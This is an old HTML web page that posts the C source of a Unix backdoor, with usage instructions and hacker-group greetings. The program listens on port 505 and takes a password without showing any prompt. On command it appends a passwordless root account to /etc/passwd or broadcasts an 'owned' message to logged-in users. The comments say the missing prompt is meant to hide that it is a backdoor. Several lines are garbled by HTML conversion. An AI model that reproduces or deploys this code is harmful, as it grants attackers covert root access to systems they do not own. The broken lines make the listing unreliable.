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color=#ffffff><B>backdoor病毒源代码</B></FONT></DIV>
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<TD class=tenpt><CODE><FONT color=#000000><br>
<FONT
color=#cc0000>--=\\backdoor.c\\=-- </FONT></FONT></CODE>
<p> /* <br>
A rip off a sockets tutorial i found somewhere cause I didn't feel like
<br>
writing stupid basic sockets code when I had it in my src directory <br>
already. <br>
*/ </p>
<p> /* Greets: <br>
Undernet Channels: <br>
#rootworm, #hacktech, #hyperlink, #3xposure, #legionoot <br>
Groups: <br>
The LegionOOT (www.legionoot.cc), Team Sploit <br>
People: <br>
Cyph3r, n3m0, Adoni, f0bic, d0g, khe0ps, h-S-t, <br>
F-o-X, NeonMatrix, Azmodan, & Venomous <br>
/* </p>
<p> Usage (setup): <br>
# gcc -o backdoor backdoor.c <br>
# ./backdoor password & <br>
Usage (using): <br>
telnet to host (port 505) --> type the password (don't wait for a <br>
prompt, there isn't one so its less obvious its a backdoor) --> <br>
type 1or 2. And yes it's _supposed_ to disconnect you after <br>
each command. <br>
*/ </p>
<p> #include <stdio.h> <br>
#include <stdlib.h> <br>
#include <errno.h> <br>
#include <string.h> <br>
#include <sys/types.h> <br>
#include <netinet/in.h> <br>
#include <sys/socket.h> <br>
#include <sys/wait.h> <br>
#define PORT 505 <br>
#define MAXDATASIZE 100 <br>
#define BACKLOG 10 </p>
<p> void handle(char *command); <br>
int main(int argc, char *argv[]) <br>
{ <br>
int sockfd, new_fd, sin_size, numbytes; <br>
char *bytes; <br>
struct sockaddr_in my_addr; <br>
struct sockaddr_in their_addr; </p>
<p> char buf[MAXDATASIZE]; <br>
char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd,
2 to <br>
send '7h1s b0x 1s 0wn3d' to all people on the box: "; <br>
if (argc != 2) { <br>
fprintf(stderr,"Usage: %s password\n", argv[0]); <br>
exit(1); <br>
} <br>
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { <br>
perror("socket"); <br>
exit(1); <br>
} <br>
my_addr.sin_family = AF_INET; <br>
my_addr.sin_port = htons(PORT); <br>
my_addr.sin_addr.s_addr = INADDR_ANY; <br>
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))
== -1) <br>
{ <br>
perror("bind"); <br>
exit(1); <br>
} <br>
if (listen(sockfd, BACKLOG) == -1) { <br>
perror("listen"); <br>
exit(1); </p>
<p> } </p>
<p> while(1) { /* main accept() loop */ </p>
<p> sin_size = sizeof(struct sockaddr_in); <br>
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \ <br>
&sin_size)) == <br>
{ <br>
perror("accept"); <br>
continue; <br>
} </p>
<p> inet_ntoa(their_addr.sin_addr); <br>
if (!fork()) { <br>
recv(new_fd, buf, <br>
MAXDATASIZE, 0); <br>
bytes = strstr(buf, argv[1]); </p>
<p><br>
if (bytes != NULL){ </p>
<p> send(new_fd, ask, sizeof(ask), 0); </p>
<p> numbytes=recv(new_fd, buf, <br>
MAXDATASIZE, 0); <br>
buf[numbytes] = '\0'; <br>
handle(buf); <br>
} <br>
close(new_fd); <br>
exit(0); <br>
} <br>
close(new_fd); </p>
<p> while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child <br>
processes */ <br>
} <br>
} </p>
<p> void handle(char *command) <br>
{ <br>
FILE *fle; <br>
if(strstr(command, "1") != NULL) <br>
{ <br>
fle = f0/*n("/etc/passwd", "a*/; <br>
fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash"); <br>
fclose(fle); <br>
} <br>
if(strstr(command, "2") != NULL) <br>
{ <br>
system("wall 7h1s b0x 1s 0wn3d"); <br>
} <br>
}<CODE><FONT color=#000000><FONT
color=#cc0000><BR>
</FONT></FONT></CODE></p>
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